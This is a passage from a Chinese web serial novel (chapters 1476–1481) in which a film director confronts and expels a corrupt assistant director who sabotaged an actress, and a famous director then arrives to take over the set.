“考虑不周?”黎昀笙打断她,语气里带着几分嘲讽,“秦扬帆,你应该知道我最讨厌什么,我最讨厌别人拿着我的东西,却不尽心,更讨厌有人让我身边的人受委屈。你觉得,我还能放心把剧组交给你?” 他的声音不高,却字字如重锤,砸在秦扬帆的心上。 她额角渗出细密的汗珠:“黎少,我……我知道错了,是我没做好,我会立刻处理周明,也会调整拍摄计划,保证温栩栩不会再受委屈……” “现在知道错了?”黎昀笙看着她,眼底的冷意没有丝毫消散,“你最好给我一个满意的解决办法,否则我会自己出手。” 黎昀笙目光落在她脸上,带着几分淡漠,“我已经给过你机会了,秦扬帆,不是所有人都有第二次机会的,尤其是,当你的失误让温栩栩受了委屈的时候。所以记住,这是最后一次机会。” 第1476章 是来算账的 他的语气很轻,却带着千斤的重量,让秦扬帆瞬间明白这次如果不处理好周明,怕是以后可能真的会被封杀,黎云笙的怒火不是在开玩笑的。 秦扬帆站起身,双腿有些发软,她看着黎昀笙,声音带着几分沙哑:“黎少,我……我知道了。对不起,是我辜负了您的信任,我会处理好后续的。” 黎昀笙没说话,只是点了点头,目光重新落在窗外。 他知道,秦扬帆心里有怨,可他不在乎,他只在乎温栩栩会不会再受委屈,只在乎《灵媒》能不能顺利拍完。 秦扬帆几乎是踉跄着退出黎昀笙的套房,后背早已被冷汗浸透,深灰色西装外套的内衬紧贴在皮肤上,带着黏腻的凉意。 走廊里的灯光忽明忽暗,映得她脸色苍白如纸,指尖还在不受控制地颤抖。 刚才那番话,每一个字都像冰锥,精准地刺穿了她引以为傲的专业尊严。 她攥紧了手中的文件夹,纸张边缘被捏得卷曲变形,指节泛白得没有一丝血色,仿佛只有这样才能勉强支撑住摇摇欲坠的身体。 走廊尽头的电梯“叮”地一声打开,清脆的声响在寂静的走廊里格外刺耳,秦扬帆猛地顿住脚步,深吸一口气,强迫自己稳住呼吸。 她知道,此刻不能慌,更不能在周明面前露怯。 深谙剧组权力规则的她清楚,周明不过是亲人介绍来的,就算在这圈子里面也只能算是一颗不重要的棋子,棋子尚且有挣扎的余地,可若她丢了导演的位置,就真的再无翻身之机。她抬手抹了把额头的冷汗,压下喉间翻涌的苦涩,脚步沉重地朝着周明的房间走去。 与此同时,周明的房间内却是一片狼藉。 凌乱的被褥堆在床上,桌面上散落着烟头和空酒瓶,空气中弥漫着浓重的烟酒气与恐慌的气息。 周明一整晚都没合眼,像只受惊的困兽,在房间里来回踱步,脚下的拖鞋摩擦着地板,发出“蹭蹭”的声响,每一声都像是踩在他紧绷的神经上。 他走到窗边,掀开窗帘的一角,警惕地盯着楼下停车场,生怕看到黎昀笙派来的人,又回到床边,抓起手机反复查看,屏幕上却始终没有任何来自王世豪的消息。 整整一夜,他都在“被丢出剧组”的恐惧中反复煎熬,整个人早已没了往日的嚣张,只剩下魂不守舍的狼狈。 当走廊里传来敲门声时,周明浑身猛地一颤,心脏瞬间提到了嗓子眼,手里的手机“啪嗒”一声掉在地上,屏幕摔出蛛网般的裂痕。 他僵在原地,盯着紧闭的房门,连呼吸都屏住了,直到那敲门声再次响起,带着几分急促与压抑,他才猛地回过神,跌跌撞撞地冲过去开门。 门一打开,看到是秦扬帆,周明像是溺水的人抓住了最后一根稻草,紧绷的肩膀瞬间垮了下来,长长地舒了一口气,声音带着劫后余生的沙哑:“秦导?怎么是你?我还以为……我还以为是黎云笙的人来了!” 他伸手扶住门框,身体微微倾斜,额角的冷汗顺着脸颊滑落,滴在地毯上,晕开一小片深色的痕迹,“你不是在国外要参加活动吗?怎么回来得这么快?” 秦扬帆站在门口,目光越过周明,扫过房间内凌乱的景象。 散落的烟头、空酒瓶,还有周明眼下浓重的青黑,眼底的厌恶与愤怒瞬间翻涌上来。 她没有立刻回答,而是抬脚走进房间,反手关上门,发出“咔嗒”一声轻响,这声音在寂静的房间里格外清晰,也像是压垮周明最后一丝侥幸的重锤。 她环视了一圈,语气冰冷得像淬了冰:“我怎么回来的这么快?周明,你不如先告诉我,你这些天在剧组都做了什么?” 周明心里“咯噔”一下,像是被什么东西狠狠撞了一下,瞬间明白了秦扬帆的来意。 是来算账的! 他脸色瞬间变得僵硬,勉强扯出一个笑容,却比哭还难看,眼神闪烁着不敢与秦扬帆对视,声音也带着几分虚浮:“我……我能做什么?你不在剧组,我当然要替你把好关,我就是在老老实实拍戏而已,把温栩栩的戏份挪到后半夜,也是为了赶进度,不影响白天的主场景拍摄。你一回来就语气这么冲地找上门,不知道的还以为我做了什么对不起你的事情,你不要太过分了!” 他越说越觉得委屈,语气渐渐变得强硬起来,甚至带着几分理直气壮。 在他眼里,温栩栩不过是个刚冒头的小明星,自己针对她,不过是替王世豪“教训”一下不听话的新人,根本算不上什么大事。 秦扬帆看着他这副死不悔改的模样,心中的怒火再也压制不住,猛地抬高声音,声音带着压抑的颤抖:“到现在了,你还在胡说八道!周明,你到底干了什么,你心里比谁都清楚!” 她上前一步,目光如刀,死死盯着周明的眼睛,每一个字都像是从牙缝里挤出来的,“温栩栩入组的时候,我当着所有主创的面说过没有?我说过温栩栩背后是黎云笙,是黎家的人,让你们都小心说话、谨慎做事,我都不敢对温栩栩说重话,生怕惹恼了黎家!可你呢?我刚走没多久,你就敢针对温栩栩!你是不是觉得,王世豪能护着你,黎家就奈何不了你?你是不是觉得,温栩栩不过是个小明星,就算被你欺负了,也只能忍气吞声?” 周明被她这突如其来的质问吓得后退了一步,背脊抵在冰冷的墙壁上,脸色一阵青一阵白。 他看着秦扬帆眼底的愤怒,心里的恐慌渐渐被一股不服气取代。 他始终觉得,自己不过是针对了一个没什么背景的小明星,秦扬帆和黎昀笙这是在小题大做,是故意要踩着他立威。 “我就是针对她了又怎么样?”周明梗着脖子,眼神里带着几分偏执的固执,“她温栩栩算什么东西?” 第1477章 这些年,你帮了我什么? “温栩栩就是一个靠脸吃饭的小明星,也敢在我面前摆谱?我不过是让她多拍几场夜戏,就这点小事,至于让黎云笙亲自出面,还让你这么急着回来跟我算账?你们是不是太看得起她了?” “小事?”秦扬帆像是听到了什么天大的笑话,气得笑了出来,可眼底却满是愤怒的冷光,“周明,你真是不见棺材不落泪!你针对温栩栩,就不怕王世豪保不住你?你知不知道,黎云笙为了温栩栩,连我这个导演的位置都能立刻撤了!你觉得,他会在乎你这个小小的副导演吗?” 她上前一步,居高临下地看着周明,语气里满是嘲讽与不屑,“你到现在还觉得这是小事?你知不知道,你的一时冲动,不仅毁了自己,还差点毁了整个剧组!我告诉你,秦肆下午就会来接手副导演的位置,而你,周明,你的好日子到头了!” 秦肆是谁?圈子里有名的鬼才导演,黎云笙说是让秦肆当副导演都因为给她面子,真要论起来,她都要给秦肆挪位置! 周明如遭雷击,瞳孔骤然放大,身体顺着墙壁往下滑,最后瘫坐在地上,脸色惨白如纸。 他看着秦扬帆眼底的决绝,终于意识到自己闯了多大的祸。 他一直以为,王世豪在圈里有关系,能护着他,可现在秦扬帆说黎昀笙撤了他导演的位置要换掉自己,这根本不是他能承受的后果! 恐慌像潮水般将他淹没,他声音颤抖着,带着几分不敢置信:“不可能……这不可能!秦扬帆,你是在吓我,对不对?王世豪不会不管我的,他答应过会保我的!” “保你?”秦扬帆冷笑一声,眼神里满是怜悯与轻蔑,“周明,你到现在还看不清形势?王世豪自己都自身难保了,还怎么保你?你不过是他的棋子,棋子没了,他只会弃子保帅,根本不会多看你一眼!” 她看着周明这副失魂落魄的模样,心里的愤怒渐渐被一种近乎残酷的清醒取代。 这就是她当初纵容周明的原因,以为他能控制住局面,却没想到,这颗棋子不仅不听话,还敢公然挑衅黎昀笙的底线。 周明瘫坐在地上,双手抱着头,指尖深深嵌入发间,声音带着绝望的颤抖:“不……不会的……我只是针对了一个小明星,怎么会这样……我只是想让她听话一点,没想惹这么大的麻烦……”他喃喃自语着,语气里满是后悔与不甘,可直到此刻,他依旧没有意识到,自己错的不是针对温栩栩,而是低估了温栩栩在黎昀笙心中的分量,低估了黎昀笙护短的决心。 秦扬飞眼神冰冷地看着他:“周明,不是温栩栩是小明星,是你的格局太小!你只看到眼前的蝇头小利,却没看到背后黎家的滔天权势!你针对温栩栩,就是在挑衅黎昀笙,你以为王世豪会为了你一个小小的副导演,去得罪黎家?做梦!” 周明猛地抬头,眼底满是红血丝,带着几分疯狂的不甘:“那我该怎么办?秦扬帆,你帮帮我,你跟黎云笙说说好话,我不想被丢出剧组,我不想一无所有!” 他伸手想去拉秦扬帆的裤脚,却被秦扬帆猛地躲开。 “帮你?”秦扬帆看着他这副卑微的模样,心里只剩下厌恶,“周明,我帮不了你!你自己犯的错,自己去承担!当初我提醒你的时候,你听了吗?你只想着怎么讨好王世豪,怎么在剧组里作威作福,现在出事了,就想让我帮你?晚了!” 她看着周明眼底的绝望,语气里没有半分同情,“你最好祈祷秦肆来之前,你能把和王世豪的所有往来证据都藏好,不然,你不仅会被丢出剧组,可能连圈子里都待不下去了!” 周明瘫坐在冰冷的地板上,绝望像藤蔓般缠绕住他的四肢,勒得他几乎喘不过气。 看着秦扬帆决绝的背影即将消失在门口,他猛地抬高声音,带着濒临绝境的疯狂与不甘,嘶吼道:“你就算不看在王世豪的面子上,也该看在我们两家是亲戚的份儿上帮我!秦扬帆,你不能这么无情!这些年我没少帮过你!你不能在我出事后就像丢垃圾一样把我丢掉!” 那声音尖锐又颤抖,像生锈的铁片划过玻璃,在凌乱的房间里回荡,带着一种近乎卑微的祈求,却又裹着一股被抛弃的怨怼。 他双手死死抠住地板的缝隙,指节因用力而泛白,仿佛只要抓住这一点“亲戚情分”,就能拽住那条即将断裂的救命绳索。 秦扬帆的脚步猛地顿住,脊背瞬间绷得笔直,像被这句“亲戚情分”刺中了某个隐秘的痛点。 她缓缓转过身,晨光从走廊的窗户斜斜地照进来,在她身上投下一道长长的影子,将她的表情衬得愈发冷峻。 她看着周明那张写满恐慌与执拗的脸,眼底没有丝毫动容,反而涌起一股难以言喻的可笑。 这么多年,周明似乎从未认清过他们之间的关系,也从未看清过自己所作所为的本质。 “亲戚?”秦扬帆轻笑出声,笑声里没有半分温度,只有彻骨的嘲讽,“周明,你到现在还跟我谈亲戚?那我倒要问问你,这些年,你帮了我什么?” 她一步步走近,皮鞋踩在散落的烟头上,发出“咔嚓”的声响,每一步都像踩在周明的心上,“你所谓的帮,是利用我导演的身份,私下里接那些见不得光的商单,把剧组的资源塞给你那些不入流的朋友?还是打着我的旗号,威胁那些不听话的演员,说我秦扬帆的人必须得听你的?” 她的话语像一把锋利的刀,精准地剖开那些被周明刻意美化的“帮助”,露出底下肮脏的真相。 秦扬帆的眼神愈发冰冷,带着一种被冒犯的怒意:“我睁一只眼闭一只眼,不是因为念着亲戚情分,是因为那时候《灵媒》刚启动,我不想因为内耗耽误进度。” 第1478章 亲戚情分 “我不想让王世豪那边抓到把柄来针对剧组,可你呢?你把我的容忍当成了软弱,把我的底线踩在脚下,还妄图用‘亲戚’两个字来绑架我?” 她蹲下身,与周明平视,目光如炬,直直刺进他躲闪的眼底:“我告诉你,周明,这些年我背地里都清楚!你私下里收钱改剧本,故意给某些演员加戏删戏;你利用剧组的名义,跟供应商勾结,吃回扣,甚至把劣质的道具运进片场,这些事,你以为我真的一无所知?我只是在等,等一个合适的时机,等你彻底暴露自己的愚蠢和贪婪!” 秦扬帆的声音不高,却字字如雷,砸在周明的心上,让他浑身一颤。 他张了张嘴,想要反驳,却发现自己根本找不到任何借口。 那些他以为隐秘的勾当,那些他以为能瞒天过海的手段,原来全都在秦扬帆的眼底,只是她一直没说而已。 “你……”周明的声音带着颤抖,脸色由白转青,又由青转红,眼底满是难以置信的惊慌,“你既然知道,为什么不早说?为什么不拦着我?” “拦着你?”秦扬帆冷笑一声,站起身,居高临下地看着他,语气里满是不屑,“我拦着你,是为了让你继续作死,然后连累我,连累整个剧组,连累黎家吗?周明,你太看得起自己了!也太小看我秦扬帆了!我秦扬帆做事,有自己的底线,有自己的原则,你触碰了我的底线,更触碰了黎昀笙的逆鳞,你以为,我会为了你这个所谓的‘亲戚’,去赌整个剧组的前途,去赌我自己的职业生涯吗?” 她看着周明眼底渐渐溃散的光,心里没有丝毫怜悯。 曾经的她或许还会因为“亲戚”的情分,对他多几分包容,可当他把贪婪的触角伸向剧组,伸向温栩栩,伸向黎昀笙的底线时,这份“情分”就早已烟消云散。“我念着亲戚,给你在剧组里安排了个副导演的位置,让你能赚比别人多的钱,能在这个圈子里有几分体面,可你呢?你拿着这份体面,去做那些下三滥的事,去得罪不该得罪的人,现在出事了,却反过来怪我不帮你?” 秦扬帆的声音陡然拔高,带着一种压抑已久的愤怒:“周明,你错了!你错的不是针对温栩栩,是你把别人的宽容当成了理所当然,你错的是不知道自己几斤几两,错的是以为‘亲戚’两个字能成为你为所欲为的护身符!可现实告诉你,这世上没有永远的靠山,也没有永远的‘情分’,你犯了错,就要付出代价,这是谁也救不了你的!” 周明瘫坐在冰冷的地板上,看着秦扬帆决绝的背影,绝望像藤蔓般缠绕住他的四肢,勒得他几乎喘不过气。当那道熟悉的身影即将消失在门口时,他猛地抬高声音,嘶吼声裹挟着濒临绝境的疯狂与不甘,在凌乱的房间里回荡:“你就真的这么狠吗?我跟你可是亲戚关系!你忘了我曾经帮过你多少了?现在出了事你就不管我了,要把我推出去?你在圈子里那么多人捧着你,黎云笙怎么可能真的生你的气要换掉你,就算是换也是换我!你必须帮我!如果你也不帮我,我真的就没办法在圈子里混了!秦扬帆你不能这么没良心!” 那声音尖锐得近乎刺耳,像生锈的铁片在玻璃上反复摩擦,带着一种近乎卑微的祈求,却又裹着一股被抛弃的怨怼,仿佛只要抓住“亲戚情分”这根稻草,就能拽住那条即将断裂的救命绳索。 他双手死死抠住地板的缝隙,指节因用力而泛白,仿佛只要多说一句,就能让秦扬帆心软,改变主意。 秦扬帆的脚步猛地顿住,脊背瞬间绷得笔直,像被这句“亲戚情分”和“没良心”的指控刺中了某个隐秘的痛点。 她缓缓转过身,晨光从走廊的窗户斜斜地照进来,在她身上投下一道长长的影子,将她的表情衬得愈发冷峻,眼底翻涌的不再是之前的可笑,而是一种难以言喻的厌恶与愤怒。 这么多年,周明似乎从未认清过他们之间的关系,也从未看清过自己所作所为的本质,如今竟还敢用“良心”来绑架她。 “良心?”秦扬帆轻笑出声,笑声里没有半分温度,只有彻骨的嘲讽,像冰锥划过寒潭,带着刺骨的冷意,“周明,你居然跟我谈良心?”她一步步走近,皮鞋踩在散落的烟头上,发出“咔嚓”的声响,每一步都像踩在周明的心上,带着一种压迫感,“那你先告诉我,到底是谁没有良心?是那个拿着我给的体面,却在背后做尽龌龊事的人?还是那个把别人的宽容当理所当然,把别人的底线踩在脚下的人?” 她蹲下身,与周明平视,目光如炬,直直刺进他躲闪的眼底,每一个字都带着千斤的重量:“你说你帮过我多少?好啊,那我就跟你好好算算你所谓的‘帮’是利用我导演的身份,私下里接那些见不得光的商单,把剧组的资源塞给你那些不入流的朋友,让我背负‘任人唯亲’的骂名?还是打着我的旗号,威胁那些不听话的演员,说‘秦扬帆的人必须得听你的’,让我在圈子里的口碑被你败坏?又或者,是你故意把劣质的道具运进片场,差点导致温栩栩在拍摄时受伤,让我面临巨额赔偿和舆论压力的时候,你在旁边看笑话?” 秦扬帆的眼神愈发冰冷,带着一种被冒犯的怒意,声音也渐渐提高:“这些事,你敢说没有做过吗?你敢说自己是无辜的吗?周明,你把我的容忍当成了软弱,把我的底线踩在脚下,还妄图用‘亲戚’两个字来绑架我,用‘良心’来道德绑架我,你是不是太看得起自己了?也太小看我秦扬帆了!” 周明被她这番话砸得浑身一颤,脸色由白转青,又由青转红,眼底满是难以置信的惊慌,声音带着颤抖:“你……你既然知道,为什么不早说?为什么不拦着我?” 第1479章 作死 “拦着你?”秦扬帆冷笑一声,站起身,居高临下地看着他,“我拦着你,是为了让你继续作死,然后连累我,连累整个剧组,连累黎家吗?周明,你太看得起自己了!也太小看我秦扬帆了!我秦扬帆做事,有自己的底线,有自己的原则,你触碰了我的底线,更触碰了黎昀笙的逆鳞,你以为,我会为了你这个所谓的‘亲戚’,去赌整个剧组的前途,去赌我自己的职业生涯吗?” 她看着周明眼底渐渐溃散的光,心里没有丝毫怜悯,反而涌起一股更深的厌恶:“我念着亲戚,给你在剧组里安排了个副导演的位置,让你能赚比别人多的钱,能在这个圈子里有几分体面,可你呢?你拿着这份体面,去做那些下三滥的事,去得罪不该得罪的人,现在出事了,却反过来怪我不帮你?周明,你错了!你错的不是针对温栩栩,是你把别人的宽容当成了理所当然,你错的是不知道自己几斤几两,错的是以为‘亲戚’两个字能成为你为所欲为的护身符!可现实告诉你,这世上没有永远的靠山,也没有永远的‘情分’,你犯了错,就要付出代价,这是谁也救不了你的!” 周明听着她的话,眼底的光彻底熄灭,只剩下无边的绝望与怨恨。他猛地扑过去,伸手死死抱住秦扬帆的腿,力气大得像是要把她拽回这个狼藉的房间,声音带着哭腔,却又满是疯狂:“我不信!我不信黎昀笙真的会换掉你!你是我亲戚,他不可能为了一个温栩栩就换掉你!肯定是你故意吓我的!你必须帮我!如果你不帮我,我就把你之前做的那些事都抖出去,让大家看看你秦扬帆到底有多虚伪!” 秦扬帆被他这突如其来的举动弄得身体一僵,眉头紧皱,眼底的厌恶几乎要溢出来。她低头看着周明那张写满怨恨的脸,心里只剩下深深的恶心。 这个曾经被她看作“亲戚”的人,如今竟如此卑劣,竟敢用“揭发她”来威胁她,简直可笑至极。 “抖出去?”秦扬帆的声音陡然拔高,带着一种压抑已久的愤怒与不屑,她猛地抬腿,想要挣脱周明的束缚,可周明抱得太紧,她一时竟没能挣脱,“周明,你到现在还看不清形势?你以为,我之前做的那些事,能比得上你做的那些龌龊事吗?” 她俯身,目光如刀,直直刺进周明的眼底,每一个字都像是从牙缝里挤出来的,带着千斤的重量:“我告诉你,我之前之所以没说,不是因为怕你,是因为我不想让剧组的进度受影响,不想让王世豪那边抓到把柄,可你呢?你做的那些事,我之前只是知道你人品不行,爱占小便宜,却没想到,你竟然这么恶心!” 秦扬帆的脸色阴沉得能滴出水来,眼底满是愤怒与厌恶,像是看着一堆肮脏的垃圾。 她想起在回程的飞机上,黎昀笙的人发来的那些证据一张张照片,一段段视频,清晰地记录着周明的所作所为,每一个画面都让她觉得恶心,每一个细节都让她对周明的厌恶加深一分。 “你私底下收钱改剧本,故意把温栩栩的戏份删减,把重要的对手戏给了王世豪塞进来的小明星,还跟编剧吵起来,说‘温栩栩算什么东西,也配跟我争戏’,这些,你敢说没有吗?” 秦扬帆的声音带着颤抖,不是因为害怕,而是因为愤怒,“还有,你跟道具组的人勾结,用劣质的威亚绳,还故意把温栩栩的戏份安排在高空场景,说‘摔不死她也让她受点教训’,这些话,都有录音!还有,你跟王世豪的聊天记录,说‘温栩栩不听话,我已经在剧组里给她教训了,黎昀笙就算知道了,最多也就是骂你两句,不会真的换掉你’,这些,你敢说不是真的吗?” 每说一句,秦扬帆的脸色就阴沉一分,眼底的厌恶也愈发浓烈。 她看着周明那张写满惊慌与怨恨的脸,心里满是恶心。 她之前只是知道周明人品不行,爱占小便宜,可她万万没想到,他竟然这么下三滥,竟然敢拿演员的生命安全开玩笑,竟然敢公然挑衅黎昀笙的底线! “我告诉你,这些证据,黎昀笙那边全都有!他之所以没当场曝光你,是给你留了最后一点体面,是不想让《灵媒》的口碑受影响。可你呢?你到现在还在这里跟我谈亲戚,谈良心,还敢威胁我?”秦扬帆的声音带着一种压抑的怒火,眼神里满是决绝,“周明,我警告你,我从来没有这样厌恶过一个人,但是你当初的所作所为,让我觉得恶心!” 她看着周明眼底渐渐涌起的恐惧,心里的愤怒与厌恶达到了顶点:“我之前不知道你做了这么多下三滥的事,现在知道了,我更不可能帮你!你做的那些事,别说黎昀笙不会放过你,我秦扬帆也不会放过你!你等着吧,下午秦肆就会来接手导演的位置,到时候,你做的那些事,都会被一一曝光。你不仅会被丢出剧组,还会被圈子里的人唾弃,这就是你该付出的代价!” 秦扬帆的声音带着千斤的重量,每一个字都像重锤,砸在周明的心上。 “我告诉你,周明,你死定了!”秦扬帆猛地挣脱周明的束缚,抬脚狠狠地踹了他一下,将他踹得后退了几步,然后转身大步离开,高跟鞋敲击地面的声音在走廊里回荡,带着一种决绝与冷酷。 房间内,周明瘫坐在地上,看着秦扬帆远去的背影,眼底满是绝望与怨恨。 他看着地上散落的烟头和空酒瓶,想起自己这些年的所作所为,想起秦扬帆说的每一句话,心里满是悔恨与不甘。 可一切都晚了,他终究为自己的贪婪与傲慢,付出了最沉重的代价。 而那些被曝光的龌龊事,就像一张巨大的网,将他牢牢困住,再也无法挣脱。 第1480章 你做了什么,自己心里没数? 晨光穿透《灵媒》剧组的临时棚顶,将斑驳的光影洒在忙碌的工作人员身上。 一辆哑光黑的定制跑车如同掠过水面的暗影,稳稳停在片场中央,车门打开时,率先映入众人眼帘的是一双包裹在高定皮质短靴中的长腿,线条利落得像是雕塑家精心雕琢的艺术品。 秦肆撑着墨镜从车上下来,银灰色的休闲西装外套随意搭在臂弯,内搭的黑色丝质衬衫领口松开两颗纽扣,露出精致的锁骨。 他的五官带着秦家独有的优越轮廓,眉峰高挑,带着几分不羁的锋利,鼻梁高挺得恰到好处,下颌线更是清晰如刀削,偏偏唇角勾着一抹似有若无的弧度,既显冷淡,又透着股漫不经心的邪气。 阳光落在他微卷的发梢,染上一层浅金,那副始终未摘的墨镜遮住了眼底情绪,却让他的气场愈发难以捉摸,明明只是站在那里,没有多余的动作,却像自带聚光灯,瞬间将所有人的视线都吸附过去。 “那、那是秦肆?!”场记小姑娘攥着场记板的手都在发抖,声音细若蚊蚋,“国际上那个拿遍大奖的秦肆?他怎么来咱们这儿了?” “不是吧……秦扬帆导演已经是圈内顶尖了,这秦肆根本就是传说里的存在啊!”灯光师擦了擦额头的汗,手里的工具都忘了放下,“黎总居然把这尊大佛请来了?还说是来当副导演?开玩笑的吧!” 窃窃私语在片场蔓延,工作人员们眼神里满是震惊与难以置信。 秦扬帆在业内已是口碑与实力兼具的导演,地位稳固,而秦肆,却是真正意义上的“国际大导”,年纪轻轻便斩获多项国际电影节大奖,作品风格大胆凌厉,早已在国际影坛站稳脚跟,更关键的是,他是秦家的少爷,圈内皆知他入圈本就是“玩票”,可偏偏玩出了常人难以企及的高度,连带着与黎昀笙都有几分交情,是真正站在金字塔顶端的人物。 如今黎昀笙不仅撤换了周明,还请来秦肆,这操作太让人看不懂了,一时间各种猜测纷至沓来。 秦肆对周围的骚动充耳不闻,他端着一杯刚递过来的冰美式,指尖漫不经心地摩挲着杯壁的冷凝水珠,墨镜后的目光透过镜片,淡淡扫过片场的布景,语气慵懒又带着几分不容置疑的随意:“把你们秦扬帆导演叫出来,我看看她最近都拍了些什么好东西出来。” 这句话像一颗石子投入平静的湖面,激起千层浪。 工作人员们面面相觑,谁都不敢怠慢,赶紧去请秦扬帆。没人敢质疑秦肆的语气,即便他说的是“看看”,可那姿态却像是在巡视自己的领地,带着一种与生俱来的掌控感。 很快,秦扬帆快步走来,脸上带着恰到好处的笑意,却没有丝毫失了礼数的慌乱:“秦导,好久不见,没想到你会亲自过来。” 秦肆闻言,终于抬手摘下了墨镜,露出一双深邃的眼眸,眼底没有太多情绪,却带着一种洞察一切的锐利。他上下打量了秦扬帆一眼,嘴角的弧度浅了些:“好久不见。黎昀笙说你这儿需要人搭把手,我正好闲着,就过来看看。”他说着,将手中的冰美式递到一旁工作人员手里,自己则随意地找了个导演椅坐下,姿态闲适得像是在自家后花园晒太阳,可那股与生俱来的压迫感却让周围的空气都仿佛凝滞了几分。 “搭把手?”秦扬帆心中明镜似的,秦肆这话不过是场面话,黎昀笙的意思再明显不过。 秦肆来了,总导演的位置自然要让出来,这既是对秦扬帆之前的失职的惩罚,也是在向所有人宣告,温栩栩背后站着的人,绝不会容忍任何人欺负她。 可即便如此,秦扬帆面上依旧保持着从容:“那真是麻烦秦导了,接下来的拍摄,还得多仰仗你。” 秦肆没接这话,只是端起工作人员重新递上的冰美式,轻轻啜了一口,眼神落在片场正在调试的威亚设备上,语气淡淡:“仰仗谈不上,我就是来干活的。不过——”他顿了顿,目光扫过远处正在补妆的温栩栩,眼底掠过一丝不易察觉的打量,“听说有人想给温栩栩下马威?还用了些上不得台面的手段,连威亚绳都敢动手脚?” 这句话一出,周围的工作人员瞬间噤若寒蝉,谁都不敢吭声。 秦肆这话说得轻飘飘的,却带着千斤的重量。 他刚来就知道了周明的事,显然对剧组的情况了如指掌,更透露出一种不容置疑的态度:温栩栩,他护定了。 秦扬帆心中一凛,知道秦肆这是在敲打自己,也敲打整个剧组。 她正色道:“这件事我已经查清楚了,周明和王世豪勾结,是主谋,我已经让人去通知他收拾东西滚蛋了。后续的拍摄,我会全力配合秦导,保证不会再出任何问题。” 秦肆闻言,轻轻“嗯”了一声,算是应下,却没再说话,只是又端起冰美式,目光落在温栩栩身上。 温栩栩似有所感,抬眼望过来,刚好撞进秦肆那双深邃的眼眸中,她微微颔首,露出一个礼貌的微笑。 秦肆也回了一个浅淡的笑意,墨镜虽已摘下,可那股邪气与冷淡依旧萦绕在他周身,让人不敢轻易靠近。 就在这时,片场入口传来一阵急促的脚步声,周明跌跌撞撞地跑过来,脸上带着绝望的疯狂,看到秦肆的瞬间,像是看到了最后一根救命稻草:“秦导!秦大少爷!您救救我!我知道错了!我不该听王世豪的话!您跟黎总关系好,您帮我跟黎总求求情!我再也不敢了!” 秦肆闻言,眉头微不可察地皱了一下,眼底掠过一丝厌烦。 他看向周明的眼神,像是在看一粒碍眼的尘埃,语气冷得像冰:“救你?你做了什么,自己心里没数?拿演员的生命安全开玩笑,还敢来求我?” 第1481章 我站队了你 周明被他这语气吓得浑身一颤,却还是不死心地往前凑:“秦导!我跟秦扬帆是亲戚!您看在秦家的面上,帮帮我!我以后再也不敢了!” 秦肆却懒得再听他废话,抬手制止了想要上前的工作人员,眼神冰冷地看着周明:“滚。再让我看见你出现在片场,别怪我不客气。” 片场的喧嚣在秦肆一句“滚”后渐渐平息,唯有冰美式杯壁的冷凝水珠还在缓缓滑落,滴在导演椅旁的木质地板上,发出细微却清晰的声响。 周明狼狈退场的身影还残留在众人的视线里,秦肆却已转过身,看向立在一旁的秦扬帆,那双深邃的眼眸中,忽然掠过一丝极淡的、难以捉摸的情绪。 不是厌恶,也不是纯粹的冷淡,倒像是隔着岁月的尘埃,望见了一段早已淡去的过往。 他突然笑了,嘴角的弧度比之前漫不经心的邪气多了几分真实的温度,只是那笑意未达眼底,带着一丝不易察觉的复杂。 他指尖轻轻敲了敲冰美式杯壁,语气依旧慵懒,却少了之前的锋利:“秦扬帆,其实我并不是很喜欢你。” 这句话像一颗小石子投入平静的湖面,让秦扬帆的呼吸微微一滞,周围的工作人员更是瞬间绷紧了神经,谁也不敢出声。 秦肆是谁? 国际影坛上举足轻重的导演,秦家的掌上明珠,更是圈内公认的“风向标”。 他的一举一动、一句评价,都能左右一部电影的资源流向。 能被他“不喜欢”,足以让任何导演心惊胆战,可偏偏秦扬帆听到这话时,眼底却没有丝毫愤怒,反而是一种近乎坦然的平静,甚至还带着几分早已洞悉的释然。 “倒不是看不起女人。”秦肆似乎察觉到周围人的紧张,语气更缓了些,却依旧带着他独有的坦率与直白,像一把没有鞘的利刃,不伤人,却让人无法忽视,“是你有时候太理想化了。电影圈不是童话世界,你拿着镜头语言说故事,可别人拿着资源和规则堵你的路,你总想着‘只要作品好就行’,却没想过自己没有后路,你不是圈子里土生土长的人,没有那些根深蒂固的靠山,一旦被那些男导演联手狙击,你连喘口气的机会都没有。” 他顿了顿,目光落在秦扬帆脸上,那眼神不再是刚才的审视:“你忘了?你最难的那两年,是我帮你说了话。” 秦扬帆眼底闪过一丝不易察觉的波动,她当然记得。 那是她刚凭一部小成本文艺片崭露头角的时候,清冷的镜头语言和细腻的情感表达让她在业内引起了一定关注,可随之而来的,却是圈内几位资深男导演的“围攻”。 他们以“风格不成熟”“缺乏商业价值”为由,在各种公开场合贬低她的作品,甚至暗中施压,让原本谈好的投资方临时撤资,让她的第二部电影差点胎死腹中。 那时的她,孤立无援,甚至开始怀疑自己是否真的不适合留在这个圈子里,甚至想过放弃。 可就在她快要撑不下去的时候,秦肆在社交平台上发了一条动态。 没有长篇大论的分析,只有一张她电影的剧照,配文简洁到极致:“镜头里有光,别灭了。” 就是这短短一句话,像一道惊雷劈开了笼罩在她头顶的阴云。 圈内所有人都知道秦肆的地位,他不仅是秦家少爷,更是国际影坛的宠儿,他的认可,代表着圈内最顶尖的审美与话语权。 那些原本对她指手画脚的男导演,瞬间噤了声。 他们或许敢质疑秦扬帆,但绝不敢挑衅秦肆的权威。 从那以后,投资方重新找上门,合作邀约也多了起来,秦扬帆终于有了喘息的机会,一步步走到了今天的位置。 “坦白来说,你的电影其实导得不错。”秦肆继续说着,语气里带着几分难得的真诚,那是一种强者对强者的认可,不含任何私心,“我喜欢你的镜头语言,干净、克制,却能戳中人心。但你太蠢了,你没想过如果没了靠山,你该怎么在圈子里立足,没想过那些人会怎么对你赶尽杀绝。” 他看着秦扬帆,眼底掠过一丝淡淡的、近乎同情的情绪,“所以那时候,我才站队你。” 他的话语里带着一种不容置疑的权威感,那是多年在圈内顶层摸爬滚打、靠实力与家世共同铸就的地位。 秦肆出身秦家,那是一个在电影行业拥有绝对话语权的家族,掌控着多家顶级影视公司,参与制作的电影屡屡斩获国际大奖。 而秦肆本人,更是青出于蓝,他年纪轻轻便凭借一部《暗河》横扫三大国际电影节的最佳导演奖,作品风格大胆凌厉,对人性与社会的剖析深刻入骨,让国际影坛都为之侧目。 他的存在,就像一座难以逾越的高山,圈内所有人都知道,他的认可,代表着作品的质量与高度,他的态度,更是圈内的“风向标”,他站队谁,资源就会向谁倾斜,他否定谁,谁就很难再在圈内抬起头。 